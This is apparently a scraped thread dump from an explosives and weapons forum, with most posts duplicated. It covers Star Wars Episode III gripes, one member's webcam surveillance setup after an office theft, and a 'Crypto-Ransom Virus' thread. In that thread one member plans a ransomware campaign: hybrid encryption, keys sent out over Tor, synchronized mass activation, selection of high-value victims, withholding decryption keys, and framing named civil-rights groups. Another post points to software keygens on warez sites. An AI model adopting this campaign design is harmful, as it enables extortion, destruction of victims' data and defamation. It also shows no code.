have been for Anakin to die limbless and burned, and for Palpatine to bring him back as he faded away, with a bit of a
character change from it. That would have made more sense than Anakin going and slaughtering a temple full of kids with a
light sabre! I mean, wtf? It's one thing to decide to go to a dark place, but to do that was just beyond the realms of sense. He
hasn't had the rage from the death of his wife yet, so what "makes" him go and kill rooms full of defenceless kids with a
blade?
He would know about the cameras, and destroy the tapes, too, since he knew about the beacon...
Still, far better than the first ones! (Meaning 1 & 2, not 4, 5, 6, obviously!)

What was with the Jedi vs. the missiles in the incredibly long opening scene? It was weird, and weary.
The end could have been sorted out by reversing the two scenes of the baby exchange and the death star, as it would be
impossible to tell when the death star construction was started, how far along it all was, etc.
When the two are fighting at the end (Mace Windu and Palaptine) and Anakin walks in, surely Mace should have just countered
the lies by saying "There are three dead Jedi behind me, he's lying"!
I thought Grievious was really rather cool. He wasn't wasted, like Dooku, and he had that whole "I hate organics", yet his
wheezing gave away his true nature. The monowheel chase thing was totally stupid, but the rest of that bit was cool, and the
bit where Grievious pulls out four lightsabers... 8-)
I couldn't believe the whole ship crashing thing either. I kind of expected to see evidence of some kind of force shields or
tractor beams kicking in, but bizarrely, no! And what about the hundreds of other falling ships? They won't all have had a pair
of Jedi pilots to save the day and pop them on the runway perfectly! And where were the planet's ground based defences? I
don't recall seeing any, but would you leave the defence of your home planet to just the ships in orbit?
It tried a bit too hard to tie up loose ends, too, leading to some clumsy bits. One that should have been handled better would
have been for Anakin to die limbless and burned, and for Palpatine to bring him back as he faded away, with a bit of a
character change from it. That would have made more sense than Anakin going and slaughtering a temple full of kids with a
light sabre! I mean, wtf? It's one thing to decide to go to a dark place, but to do that was just beyond the realms of sense. He
hasn't had the rage from the death of his wife yet, so what "makes" him go and kill rooms full of defenceless kids with a
blade?
He would know about the cameras, and destroy the tapes, too, since he knew about the beacon...
Still, far better than the first ones! (Meaning 1 & 2, not 4, 5, 6, obviously!)
cyclonite4 July 4th, 2005, 09:28 AM

I thought ep.3 was alright (better than 1 and 2), but personally, I think the whole thing should have been left at 4, 5 and 6
(naming them 1, 2 and 3 respectively, of course).

I thought ep.3 was alright (better than 1 and 2), but personally, I think the whole thing should have been left at 4, 5 and 6
(naming them 1, 2 and 3 respectively, of course).
nbk2000 July 6th, 2005, 06:33 PM

If they had the fight between Obiwan and Anakin BEFORE the slaughter of the Jedi, but after the 'death' of his children
(blamed on Obiwan, of course), so that Anakin would be Vader when he slaughtered the kiddy jedis, that would have made
much more sense.
He would be slaughtering the children of the Jedi, in revenge for the death of his children at the hands of a Jedi, and that
would explain his intense hatred and being with the Dark side soooo much better.
I think that, of the original three, that Empire was the best.
What would be really cool would be for someone to take all the movies and re-edit them so that the film makes sense, as
much as that's possible.
No Jar-Jar, no sappy endings, put things in proper chronology, remove all references to the Force being a blood disease, etc.
Anyone doing that would likely be considered the next Lucas, if only for making sense of the whole thing. :D
nbk2000 July 6th, 2005, 06:33 PM

If they had the fight between Obiwan and Anakin BEFORE the slaughter of the Jedi, but after the 'death' of his children
(blamed on Obiwan, of course), so that Anakin would be Vader when he slaughtered the kiddy jedis, that would have made
much more sense.
He would be slaughtering the children of the Jedi, in revenge for the death of his children at the hands of a Jedi, and that
would explain his intense hatred and being with the Dark side soooo much better.
I think that, of the original three, that Empire was the best.
What would be really cool would be for someone to take all the movies and re-edit them so that the film makes sense, as
much as that's possible.
No Jar-Jar, no sappy endings, put things in proper chronology, remove all references to the Force being a blood disease, etc.
megalomania July 7th, 2005, 03:12 AM

There was a fan release of episode 1 that edited out as much of jar jar as possible.
Originally General Grevious was written as a child, or a being with the appearance of a child. However, the writers doubted that
a mere child could be taken seriously as the leader of such a vast war.
I overheard some woman near my seat lamenting how her mother threw away all her star wars action figures. When my
mother was young her parents threw away all her stuff, so she vowed to keep all my toys. Consequently I have quite a vast
collection of original star wars action figures and vehicles. I always kept my stuff in good condition too (never took it outside,
dropped it down the stairs, let peices get lost, etc.).

There was a fan release of episode 1 that edited out as much of jar jar as possible.
Originally General Grevious was written as a child, or a being with the appearance of a child. However, the writers doubted that
a mere child could be taken seriously as the leader of such a vast war.
I overheard some woman near my seat lamenting how her mother threw away all her star wars action figures. When my
mother was young her parents threw away all her stuff, so she vowed to keep all my toys. Consequently I have quite a vast
collection of original star wars action figures and vehicles. I always kept my stuff in good condition too (never took it outside,
dropped it down the stairs, let peices get lost, etc.).

Surely you meant "considered the next enemy of the State, for bleeding the sacred copyright cow."! ;)

Surely you meant "considered the next enemy of the State, for bleeding the sacred copyright cow."! ;)
nbk2000 July 9th, 2005, 11:17 AM

The copyright cow is sacred in India. :p
Oh, another thing that pissed me off was how, in the opening space battle, how two ships were doing broadsides at each other,
complete with shell loaded cannons! :rolleyes:
And how could the R2's zap the enemy droids with electricity in the vacuum of space? Doesn't electricity need something,
anything, to conduct it? Isn't a vacuum by definition a lack of everything? Hmmm...
I remember hearing about the Jar Jar edit. :) If they 'Jar Jar'd this movie, it'd be compact enough to fit on an Speak-and-
Spell. :p
nbk2000 July 9th, 2005, 11:17 AM

The copyright cow is sacred in India. :p
Oh, another thing that pissed me off was how, in the opening space battle, how two ships were doing broadsides at each other,
complete with shell loaded cannons! :rolleyes:
And how could the R2's zap the enemy droids with electricity in the vacuum of space? Doesn't electricity need something,
anything, to conduct it? Isn't a vacuum by definition a lack of everything? Hmmm...
I remember hearing about the Jar Jar edit. :) If they 'Jar Jar'd this movie, it'd be compact enough to fit on an Speak-and-
Spell. :p
megalomania July 9th, 2005, 11:32 PM

I kind of liked the ships doing manual broadsides at one another. I did wonder why they wern't just using automatic lasers like
EVERY other space battleship in every sci-fi movie or book ever made (OK so they used torpedos in Wing Commander, but
they arn't fired manually). It presented a nice visual effect, and there will probably be a toy ships cannon for them to sell (it
lights up and makes battle noises, only $29.95!).
I just realized why they made the uniforms different on the clone troops in episodes 2/3: they can sell a new toy now, along
with the modern storm troopers we all know and love.

I kind of liked the ships doing manual broadsides at one another. I did wonder why they wern't just using automatic lasers like
EVERY other space battleship in every sci-fi movie or book ever made (OK so they used torpedos in Wing Commander, but
they arn't fired manually). It presented a nice visual effect, and there will probably be a toy ships cannon for them to sell (it
lights up and makes battle noises, only $29.95!).
I just realized why they made the uniforms different on the clone troops in episodes 2/3: they can sell a new toy now, along
with the modern storm troopers we all know and love.
Flake2m July 10th, 2005, 11:12 AM

I watched that movie and while overall the dialogue was very average, I couldn't help get this feeling that the dialogue about
How the Jedi are supposed to protect the Republic and not the Emperor was trying to take the piss outa GWB. It wasn't done
very well, but could of been a very powerful message about politics.
The Openning Battle was spectacular, but didn't quite have enough in it. Like the Clone battle in EPII, it seemed to short and
focused on the characters. It have been done much better if it had been a little longer and focused more on the capital ships
blowing each other apart then Obi-wan and Anakin being chased by missiles. The part where the ships are broad siding each
other was shocking and could have made that battle awesome IMO.
I also agree with about how Anakin slaughter all the kids in the Jedi temple was stupid, but then again Lucus wanted the
viewers to See Darth vader at the last minute and not halfway through the movie as that would have spoiled the effect IMO.
The movie was better then the first two, but EP5 is still the best.
Flake2m July 10th, 2005, 11:12 AM

I watched that movie and while overall the dialogue was very average, I couldn't help get this feeling that the dialogue about
How the Jedi are supposed to protect the Republic and not the Emperor was trying to take the piss outa GWB. It wasn't done
very well, but could of been a very powerful message about politics.
The Openning Battle was spectacular, but didn't quite have enough in it. Like the Clone battle in EPII, it seemed to short and
focused on the characters. It have been done much better if it had been a little longer and focused more on the capital ships
blowing each other apart then Obi-wan and Anakin being chased by missiles. The part where the ships are broad siding each
other was shocking and could have made that battle awesome IMO.
I also agree with about how Anakin slaughter all the kids in the Jedi temple was stupid, but then again Lucus wanted the
viewers to See Darth vader at the last minute and not halfway through the movie as that would have spoiled the effect IMO.
The movie was better then the first two, but EP5 is still the best.

Hehehe, I thought that too! Was George trying to make a point about Iraq? I certainly thought so.

Hehehe, I thought that too! Was George trying to make a point about Iraq? I certainly thought so.
Third_Rail July 12th, 2005, 02:07 AM

I downloaded SW3 the week it came online, watched a few minutes and then deleted it. I couldn't stand to finish it... guess
I'm just an annoyed ex-fan, though!
Third_Rail July 12th, 2005, 02:07 AM

I downloaded SW3 the week it came online, watched a few minutes and then deleted it. I couldn't stand to finish it... guess
I'm just an annoyed ex-fan, though!

The Explosives and Weapons Forum > Knowledge and Information > The Water Cooler > Video surveillance
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akinrog July 4th, 2005, 09:39 AM

Dear Friends,
Recently I was tricked and robbed in my office losing a good deal of cash and most importantly IDs (which are pain in the butt to reissue should you lose them :mad: ).
The thieve disguised as a prospective customer tricked my assistant to bring the dect phone to me inside the office and when he is alone he stole all money in the purse of my
assistant and my entire wallet.
We called the police and the first thing they asked is if there is a security cam in the office. But there wasn't.
So I decided to convert a webcam into a security survaillance cam by means of a self-developed software which shall shoot a picture every second. But it was a pain in the ass
to code motion detection part (which I could not manage to complete).
Anyway, my point is resolution of web cams are quite close to that of normal security cams but the result is not satisfactory. I know those movie created myths (like zooming
in a previously recorded tape, etc.) are all scums and fiction. Should I invest big deal of money into a genuine security system or can I make something useful out of ordinary
web cam and software I am currently developing? What do you think about it?

Dear Friends,
Recently I was tricked and robbed in my office losing a good deal of cash and most importantly IDs (which are pain in the butt to reissue should you lose them :mad: ).
The thieve disguised as a prospective customer tricked my assistant to bring the dect phone to me inside the office and when he is alone he stole all money in the purse of my
assistant and my entire wallet.
We called the police and the first thing they asked is if there is a security cam in the office. But there wasn't.
So I decided to convert a webcam into a security survaillance cam by means of a self-developed software which shall shoot a picture every second. But it was a pain in the ass
to code motion detection part (which I could not manage to complete).
Anyway, my point is resolution of web cams are quite close to that of normal security cams but the result is not satisfactory. I know those movie created myths (like zooming
in a previously recorded tape, etc.) are all scums and fiction. Should I invest big deal of money into a genuine security system or can I make something useful out of ordinary
web cam and software I am currently developing? What do you think about it?
Ropik July 5th, 2005, 06:00 AM

I know about one guy who made security camera out of a webcam(sadly, I don't know about software he was using), and insurance companies don't count this as a security
camera, so you can't say you have it to achieve a smaller fee. But the cam was functional, I know that much. I know that this information is somewhat vague, but in sum: you
can transform a webcam for this job.
Ropik July 5th, 2005, 06:00 AM

I know about one guy who made security camera out of a webcam(sadly, I don't know about software he was using), and insurance companies don't count this as a security
camera, so you can't say you have it to achieve a smaller fee. But the cam was functional, I know that much. I know that this information is somewhat vague, but in sum: you
can transform a webcam for this job.
akinrog July 5th, 2005, 01:31 PM

you can transform a webcam for this job.
I know it functions but what I am trying to get feedback on is availability of better alternatives. I am coding the app by myself so software is no problem. However as I said in
my previous post coding motion detection part is a real challenge (up till now, I could not find an efficient way (i.e. algorithm) to solve this problem.
Simply I am scanning the middlemost line of the pic taken and comparing this with the previously scanned line and if there are statistically significant difference between two
byte arrays then I simply allow app to shoot picture, otherwise it does not shoot pictures for recording. The cam is always online but shoots pics only when there is a motion in
the picture.
I don't care if insurance companies do not count it as a genuine security cam since I have no such insurance (insurance companies are bitches here and receiving a
compensation for your damages are nightmare).
I shall have two USB webcams, one is ordinary CMOS cam (inside the office) and other one is a CCD webcam (which I believe is sensitive to near IR spectra) to shoot pictures
at the entry of the building by means of a few IR LEDs.
What I am dissappointed about is poor picture quality at a resolution of 640x480 under artificial illumination :(. When daylight is available picture quality is good.

you can transform a webcam for this job.
I know it functions but what I am trying to get feedback on is availability of better alternatives. I am coding the app by myself so software is no problem. However as I said in
my previous post coding motion detection part is a real challenge (up till now, I could not find an efficient way (i.e. algorithm) to solve this problem.
Simply I am scanning the middlemost line of the pic taken and comparing this with the previously scanned line and if there are statistically significant difference between two
byte arrays then I simply allow app to shoot picture, otherwise it does not shoot pictures for recording. The cam is always online but shoots pics only when there is a motion in
the picture.
I don't care if insurance companies do not count it as a genuine security cam since I have no such insurance (insurance companies are bitches here and receiving a
compensation for your damages are nightmare).
I shall have two USB webcams, one is ordinary CMOS cam (inside the office) and other one is a CCD webcam (which I believe is sensitive to near IR spectra) to shoot pictures
at the entry of the building by means of a few IR LEDs.
What I am dissappointed about is poor picture quality at a resolution of 640x480 under artificial illumination :(. When daylight is available picture quality is good.
Skean Dhu July 5th, 2005, 02:46 PM

Would it not be possible to rig one of those 'cheap' motion sensors you can get at the hardware to execute the camera app when it was set off? It might save you a bit of time
coding and some hair when it comes time for debugging...just thinking out loud
Skean Dhu July 5th, 2005, 02:46 PM

Would it not be possible to rig one of those 'cheap' motion sensors you can get at the hardware to execute the camera app when it was set off? It might save you a bit of time
coding and some hair when it comes time for debugging...just thinking out loud
FUTI July 5th, 2005, 03:43 PM

I saw in some complimentary CD a program that states it has a capability to transform a webcam and your computer into a surveilance system with capability to monitor space
and even search for motion. Since it was shareware I wasn't interested in installing it to check, but if you wish to try send me a PM with a e_mail to which I can send you a link
through yousendit service. That was bad day for you man, f*ck the wallet and the money the assh*le could at least left the ID behind instead leaving you a nightmare with
suspicious cops.

I saw in some complimentary CD a program that states it has a capability to transform a webcam and your computer into a surveilance system with capability to monitor space
and even search for motion. Since it was shareware I wasn't interested in installing it to check, but if you wish to try send me a PM with a e_mail to which I can send you a link
through yousendit service. That was bad day for you man, f*ck the wallet and the money the assh*le could at least left the ID behind instead leaving you a nightmare with
suspicious cops.
festergrump July 5th, 2005, 04:36 PM

I can appreciate your efforts in using what you have already on hand to make your workspace more secure, but sometimes the better option is to dish out a couple of bucks
and do it right from the ground up.
I found a few weatherproof day/night security cameras for a small price at my favorite toolstore. I've even seen them of similar quality but somewhat cheaper in a package
deal (with a cheap B+W monitor) at CVS pharmacy a few months back. If you're anything like me, you won't find it hard to find an old VCR and small TV lying around in a
closet somewhere.
These have sound capabilties also, which would be nice for hearing the curses and expletives when the intruder springs one of the desk drawer boobytraps you set before you
left your workspace! :D Nothing like it, I'm sure. Makes you feel better before you even catch the bastard.
Very sorry to hear of your missing ID's and such. Worth much more than cash IMO...
At any rate, you can find the cheap B+W camera HERE (http://www.harborfreight.com/cpi/ctaf/Displayitem.taf?itemnumber=47546) . Search the HF site with "security
camera" to see the other three they offer.
Good luck in improving the security situation.
festergrump July 5th, 2005, 04:36 PM

I can appreciate your efforts in using what you have already on hand to make your workspace more secure, but sometimes the better option is to dish out a couple of bucks
and do it right from the ground up.
I found a few weatherproof day/night security cameras for a small price at my favorite toolstore. I've even seen them of similar quality but somewhat cheaper in a package
deal (with a cheap B+W monitor) at CVS pharmacy a few months back. If you're anything like me, you won't find it hard to find an old VCR and small TV lying around in a
closet somewhere.
These have sound capabilties also, which would be nice for hearing the curses and expletives when the intruder springs one of the desk drawer boobytraps you set before you
left your workspace! :D Nothing like it, I'm sure. Makes you feel better before you even catch the bastard.
Very sorry to hear of your missing ID's and such. Worth much more than cash IMO...
At any rate, you can find the cheap B+W camera HERE (http://www.harborfreight.com/cpi/ctaf/Displayitem.taf?itemnumber=47546) . Search the HF site with "security
camera" to see the other three they offer.
Good luck in improving the security situation.

Dear Friends,
I found network cams are more suitable for video surveilance for small businesses. There are even models with built in motion detection firmware, which triggers sending of the
shot picture to a FTP server defined.
However since they are all imported items (consequently expensive) and Web cams are more cost effective, I shall opt for ordinary USB web cams.
However, there is a 5 m USB cable limitation for USB devices. It's possible to extend such limit up to 30 m by means of active USB repeaters. But it shall not be cost effective to
extend cable length in this fashion.
Due to cable length limitation I shall forget installing a cam at the entry of the building. (In addition it shall be problematic to obtain a permission from building administration
for installing a cam at the building's entry.)

Dear Friends,
I found network cams are more suitable for video surveilance for small businesses. There are even models with built in motion detection firmware, which triggers sending of the
shot picture to a FTP server defined.
However since they are all imported items (consequently expensive) and Web cams are more cost effective, I shall opt for ordinary USB web cams.
However, there is a 5 m USB cable limitation for USB devices. It's possible to extend such limit up to 30 m by means of active USB repeaters. But it shall not be cost effective to
extend cable length in this fashion.
Due to cable length limitation I shall forget installing a cam at the entry of the building. (In addition it shall be problematic to obtain a permission from building administration
for installing a cam at the building's entry.)
nbk2000 July 6th, 2005, 07:11 PM

Video does you no good unless you have a name to attach to the face.
If there were any fingerprints, that'd be a far better ID than any camera.
nbk2000 July 6th, 2005, 07:11 PM

Video does you no good unless you have a name to attach to the face.
If there were any fingerprints, that'd be a far better ID than any camera.

I bought a USB repeater recently, and you are right, they can be costly for a mere 16 feet. While researching these I found an interesting alternative you may want to try. It is
a USB to ethernet adapter. This lets you use ethernet cable, which can go hundreds of feet or more IIRC (maybe miles). These are not the kinds of adapters that allow you to
connect an ethernet network to a PC, but rather an adapter that converts USB signels to ethernet allowing it to travel over the cable, and then back into USB signals.

I bought a USB repeater recently, and you are right, they can be costly for a mere 16 feet. While researching these I found an interesting alternative you may want to try. It is
a USB to ethernet adapter. This lets you use ethernet cable, which can go hundreds of feet or more IIRC (maybe miles). These are not the kinds of adapters that allow you to
connect an ethernet network to a PC, but rather an adapter that converts USB signels to ethernet allowing it to travel over the cable, and then back into USB signals.
USB is limited due to the timing gates in the USB data structure. This means that no matter how good the cables are, etc. you are limited to 16 feet without an active hub in
the path. Beyond that, the USB device won't connect or behave properly.
The Ethernet repeaters are a good mid-range solution, with the ability to go to 25m, just like standard Ethernet cables, before needing re-timing or a repeater (not sure which
is the limit on this, probably the timing)
If you want to go even further, you can get an IP based camera, which will let you plug into the web, and pick up pictures from anywhere. I've posted a few examples on the
telesniper thread of IP based security cameras with PTZ.
Another option is to use something like the PVR USB2.0 video capture device, with a lead running the composite video from a cheap camera to that, and recording the input.
You would need to write the software for that yourself, though, as it has no security functions.
Along similar lines, have a look for the GuardTec range of cards. They will let you record on time interval and motion detect, with 1, 4, 9 or 16 cameras via a specially made
PCI card. The softwares a bit crap, and the motion detection has no options other than area and "sensitivity" based on who knows what, but it's good for the price. Not that
great with cheap cameras, though, since the noise causes problems.

USB is limited due to the timing gates in the USB data structure. This means that no matter how good the cables are, etc. you are limited to 16 feet without an active hub in
the path. Beyond that, the USB device won't connect or behave properly.
The Ethernet repeaters are a good mid-range solution, with the ability to go to 25m, just like standard Ethernet cables, before needing re-timing or a repeater (not sure which
is the limit on this, probably the timing)
If you want to go even further, you can get an IP based camera, which will let you plug into the web, and pick up pictures from anywhere. I've posted a few examples on the
telesniper thread of IP based security cameras with PTZ.
Another option is to use something like the PVR USB2.0 video capture device, with a lead running the composite video from a cheap camera to that, and recording the input.
You would need to write the software for that yourself, though, as it has no security functions.
Along similar lines, have a look for the GuardTec range of cards. They will let you record on time interval and motion detect, with 1, 4, 9 or 16 cameras via a specially made
PCI card. The softwares a bit crap, and the motion detection has no options other than area and "sensitivity" based on who knows what, but it's good for the price. Not that
great with cheap cameras, though, since the noise causes problems.

Actually I would prefer network (aka IP) camera which does not require any driver (just attach it to a port of network hub, set an IP number for the cam and go). Only thing
you need to do is to connect to the specific IP number you set previously and start viewing the live stream or set event triggers of the network cam (like motion detection or
alarm triggering, etc.) and receive the acquired picture via a simple FTP app. No need to code complicated software.
But I am a DIY type guy and it's really simple to acquire live stream from any camera like devices (including TV cards) on computer by means of VFW (Video for Windows)
interface /API. So I prefer a 1.3 Megapixel USB webcam for security purposes if I could complete this blasted motion detection part (actually I don't have time to code and /or
debug that subroutine). A major drawback of webcam approach is relatively narrow viewing angle of the webcams :( and the noise emerging especially under poor illumination
conditions.
Alternatively I may purchase a cheap B/W security cam (cf. $100) and attach its video output to my computer's TV card input thereby acquiring live and most importantly B/W
stream. And majority of these cheap B/W security cams are sensitive to near IR by means of IR LEDs.
But majority of these cheap suckers lack lenses and the dealer does not tell you so. So when you unpack the gadget you simply have a cam without necessary lenses. :mad:

Actually I would prefer network (aka IP) camera which does not require any driver (just attach it to a port of network hub, set an IP number for the cam and go). Only thing
you need to do is to connect to the specific IP number you set previously and start viewing the live stream or set event triggers of the network cam (like motion detection or
alarm triggering, etc.) and receive the acquired picture via a simple FTP app. No need to code complicated software.
But I am a DIY type guy and it's really simple to acquire live stream from any camera like devices (including TV cards) on computer by means of VFW (Video for Windows)
interface /API. So I prefer a 1.3 Megapixel USB webcam for security purposes if I could complete this blasted motion detection part (actually I don't have time to code and /or
debug that subroutine). A major drawback of webcam approach is relatively narrow viewing angle of the webcams :( and the noise emerging especially under poor illumination
conditions.
Alternatively I may purchase a cheap B/W security cam (cf. $100) and attach its video output to my computer's TV card input thereby acquiring live and most importantly B/W
stream. And majority of these cheap B/W security cams are sensitive to near IR by means of IR LEDs.
But majority of these cheap suckers lack lenses and the dealer does not tell you so. So when you unpack the gadget you simply have a cam without necessary lenses. :mad:
nbk2000 July 9th, 2005, 12:05 PM

I used a freeware program (all software is free! ;)) called 'Gotcha!', and it has the settable detection zone and motion sensitivity. Used it with a Logitech USB camera, but I
think it will work with any video input.
CAT-5e ethernet has a 100 meter limit without repeater. I used that length to hook up my internet when I was living in a motel. They never noticed this blue cable stretching
out from their box to a motel across the field. :p
nbk2000 July 9th, 2005, 12:05 PM

I used a freeware program (all software is free! ;)) called 'Gotcha!', and it has the settable detection zone and motion sensitivity. Used it with a Logitech USB camera, but I
think it will work with any video input.
CAT-5e ethernet has a 100 meter limit without repeater. I used that length to hook up my internet when I was living in a motel. They never noticed this blue cable stretching
out from their box to a motel across the field. :p

I've just been playing with "Gotcha!" It certainly has far more stability than the software that came with my card. I also tried changing the drivers for the far better one
available at http://btwincap.sourceforge.net/
Anyone got a key for it?
I can't get the multicap to work, since it wants a different board for each camera (even thought it's a multiple camera card) but the motion detection is far better, as is the
picture quality!! No more frames jumping and making it unuseable! Brilliant!

I've just been playing with "Gotcha!" It certainly has far more stability than the software that came with my card. I also tried changing the drivers for the far better one
available at http://btwincap.sourceforge.net/
Anyone got a key for it?
I can't get the multicap to work, since it wants a different board for each camera (even thought it's a multiple camera card) but the motion detection is far better, as is the
picture quality!! No more frames jumping and making it unuseable! Brilliant!
nbk2000 July 11th, 2005, 10:31 AM

A key for Gotcha! or the driver?
I'm assuming Gotcha. Shouldn't there be a keygen available from altalavista or some other warez site?
nbk2000 July 11th, 2005, 10:31 AM

A key for Gotcha! or the driver?
I'm assuming Gotcha. Shouldn't there be a keygen available from altalavista or some other warez site?
Jacks Complete July 11th, 2005, 08:40 PM

The driver is free, as in money and beer.
Seems there are quite a few places you can get Gotcha! information. Forget I asked.

The driver is free, as in money and beer.
Seems there are quite a few places you can get Gotcha! information. Forget I asked.
nbk2000 June 28th, 2006, 12:18 AM

A website dedicated to a free video motion program/interface/camera controller
http://www.lavrsen.dk/twiki/bin/view/Motion/WebHome
nbk2000 August 16th, 2006, 11:28 AM

An article on coding efficient motion-detection algorithms:
http://www.codeproject.com/cs/media/Motion_Detection.asp
akinrog August 17th, 2006, 07:29 PM

An article on coding efficient motion-detection algorithms:
http://www.codeproject.com/cs/media/Motion_Detection.asp
Actually my code is more efficient than this one. This one suggests comparing entire pixels of the image (which needs a lot of computing power, i.e. cpu cycles). My code uses
statistical methods to detect motion.
However I liked the filter approach. I believe it's worth of trying of course if I could implement it in object pascal. Regards.

The Explosives and Weapons Forum > Knowledge and Information > The Water Cooler > Crypto-Ransom Virus
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View Full Version : Crypto-Ransom Virus
nbk2000 July 13th, 2005, 10:59 AM

In a recent book called "Malicious Cryptography", which is about cryptovirology, there was some interesting scenarios described
where viruses would be used to transparently encrypt a targets data using a strong symetric cipher that uses a truely random
key gerneated in-situ, which is itself encrypted to the attackers public crypto-key.
The virus then sends the cipher key through a Onion network to a publicly accessible bulletin board where the attacker then
downloads the key file, decrypts it using his private key, and can then send it back to the victim so they can decrypt their data,
which is being held hostage, upon reciept of the ransom.
This has already been done just recently, according to an article by Bruce Scheiner on his blog, though the attack was sorta
half-assed. While that attack may not have been successful, that doesn't mean others in the future won't be.
An interesting variation on this that one of the respondants made was that a virus could encrypt the data in the background
during idle CPU cycles, until the whole thing was encrypted.
Then it would flash a message telling you what had been done and that you had 15 minutes to give your CC/Debit info to the
virus, which would forward it to the attacker through the Onion network, before the virus would self-destruct the key and render
all the data useless gibberish. :p
Problem with this scenario is that, the moment the first virus copy did this, the victim would be screaming bloody murder on
the net, and the game would quickly be up. :(
But...if the virus is designed to stay hidden at all costs, to prevent premature discovery, then the virus could lurk in the
background, spreading itself far and wide, until a predesignated time, when ALL the copies would activate simultanously.
My way to ensure this, despite dumbfuck users who can't set the clock right, is to have the viruses synchronize using the US
Atomic Clock site. Only virus copies that were online would activate, which is the only ones you'd want, as otherwise the viruses
couldn't synchronize, and the victims couldn't fess up the ransom ASAP.
Because the virus is only activated simultaneously, regardless of user set time, or differing time zones around the world,
there's no advanced warning, everyone is affected at the same time.
Because of the very limited time window for the victims to respond, they're under duress to fess up the ransom ASAP or lose
everything.
Because the window of opportunity is so narrow, and the ransom so small ($20), and the means of payment so quick (CC/
Debit), the attacker could have the money and disappear before the first victim has even gotten through the voice menus to
speak to the first cop. :p
The profit comes from the number of victims.
If the virus spread as many copies as the Mellisa virus did (say 20M), and even 1/10 of 1% (0.1%) of the victims fessed up
the $20 ransom, that's $400,000. :D
What would make this even better would be to make the virus selective. It'd infect any computer, but self-destruct if the
computer had less than (for instance) 100GB of data, or files associated with financial and business data, like Excel and
Powerpoint. The potential of lossing so much data would be more likely to compel compliance with the ransom demand.
Because only 'high-value' targets would remain infected for more than a few moments, the chance of premature discovery is
lessened. The take would be less, but there'd also be higher probability of success.
This could tie-in quite nicely with the concept of the Autonomous Mobile Cyber-Weapon (AMCW), since only 'High Value'
targets would be affected. For these targets, such as financial institutions/universities/businesses, the ransom would be
significantly higher, which would compensate for their fewer numbers.
The virus uses public key crypto because this makes disassembly of the virus in an attempt to recover the sysmetric cipher
key pointless, because the symetric key is no longer around by the time the virus makes itself known. The flaw of the virus
retaining the symetric cipher key is common in todays encrypting viruses, which is why they've all been failures, failure being
defined as the victim being able to recover data without fessing up the ransom.
You could even use this virus for attacking some organization you hated, by making the ransom payments all end up in their
account, which you'll ensure is discoverable by including a deliberate but subtle flaw in the virus that would allow for eventual
tracking of the funds to the account of the real target.
Say you didn't like the NAACP or ACLU...make millions of dollars of ransom money flow into their accounts.
When it's discovered that this terrible virus which destroyed so many peoples personal and financial data was for the benefit of
some liberal group, backlash commences...freezing of accounts, audits, bad publicity, declining donations, etc.
You'll notice that nowhere do I mention actually giving the victims the decryption key. >)
You could, if feeling generous, upload a list of the decryption keys to some site, using some detail that would identify to the
victims which key will unlock their data. They can then run the XTEA decryption algorithm using that key to recover their data.
Attached is a PDF scan of the XTEA cipher algorithm, OCR'd and proofed, that I got from the book. It's in C, I do believe, and
is incredibly small and quite secure to-date. If someone can compile this into an exectable (not that I'd run it on MY machine!
:p), that'd be handy.
nbk2000 July 13th, 2005, 10:59 AM

In a recent book called "Malicious Cryptography", which is about cryptovirology, there was some interesting scenarios described
where viruses would be used to transparently encrypt a targets data using a strong symetric cipher that uses a truely random
key gerneated in-situ, which is itself encrypted to the attackers public crypto-key.
The virus then sends the cipher key through a Onion network to a publicly accessible bulletin board where the attacker then
downloads the key file, decrypts it using his private key, and can then send it back to the victim so they can decrypt their data,
which is being held hostage, upon reciept of the ransom.
This has already been done just recently, according to an article by Bruce Scheiner on his blog, though the attack was sorta
half-assed. While that attack may not have been successful, that doesn't mean others in the future won't be.
An interesting variation on this that one of the respondants made was that a virus could encrypt the data in the background
during idle CPU cycles, until the whole thing was encrypted.
Then it would flash a message telling you what had been done and that you had 15 minutes to give your CC/Debit info to the
virus, which would forward it to the attacker through the Onion network, before the virus would self-destruct the key and render
all the data useless gibberish. :p
Problem with this scenario is that, the moment the first virus copy did this, the victim would be screaming bloody murder on
the net, and the game would quickly be up. :(
But...if the virus is designed to stay hidden at all costs, to prevent premature discovery, then the virus could lurk in the
background, spreading itself far and wide, until a predesignated time, when ALL the copies would activate simultanously.
My way to ensure this, despite dumbfuck users who can't set the clock right, is to have the viruses synchronize using the US
Atomic Clock site. Only virus copies that were online would activate, which is the only ones you'd want, as otherwise the viruses
couldn't synchronize, and the victims couldn't fess up the ransom ASAP.
Because the virus is only activated simultaneously, regardless of user set time, or differing time zones around the world,
there's no advanced warning, everyone is affected at the same time.
Because of the very limited time window for the victims to respond, they're under duress to fess up the ransom ASAP or lose
everything.
Because the window of opportunity is so narrow, and the ransom so small ($20), and the means of payment so quick (CC/
Debit), the attacker could have the money and disappear before the first victim has even gotten through the voice menus to
speak to the first cop. :p
The profit comes from the number of victims.
If the virus spread as many copies as the Mellisa virus did (say 20M), and even 1/10 of 1% (0.1%) of the victims fessed up
the $20 ransom, that's $400,000. :D
What would make this even better would be to make the virus selective. It'd infect any computer, but self-destruct if the
computer had less than (for instance) 100GB of data, or files associated with financial and business data, like Excel and
Powerpoint. The potential of lossing so much data would be more likely to compel compliance with the ransom demand.
Because only 'high-value' targets would remain infected for more than a few moments, the chance of premature discovery is
lessened. The take would be less, but there'd also be higher probability of success.
This could tie-in quite nicely with the concept of the Autonomous Mobile Cyber-Weapon (AMCW), since only 'High Value'
targets would be affected. For these targets, such as financial institutions/universities/businesses, the ransom would be
significantly higher, which would compensate for their fewer numbers.
The virus uses public key crypto because this makes disassembly of the virus in an attempt to recover the sysmetric cipher
key pointless, because the symetric key is no longer around by the time the virus makes itself known. The flaw of the virus
retaining the symetric cipher key is common in todays encrypting viruses, which is why they've all been failures, failure being
defined as the victim being able to recover data without fessing up the ransom.
You could even use this virus for attacking some organization you hated, by making the ransom payments all end up in their
account, which you'll ensure is discoverable by including a deliberate but subtle flaw in the virus that would allow for eventual
tracking of the funds to the account of the real target.
When it's discovered that this terrible virus which destroyed so many peoples personal and financial data was for the benefit of
some liberal group, backlash commences...freezing of accounts, audits, bad publicity, declining donations, etc.
You'll notice that nowhere do I mention actually giving the victims the decryption key. >)
You could, if feeling generous, upload a list of the decryption keys to some site, using some detail that would identify to the
victims which key will unlock their data. They can then run the XTEA decryption algorithm using that key to recover their data.
Attached is a PDF scan of the XTEA cipher algorithm, OCR'd and proofed, that I got from the book. It's in C, I do believe, and
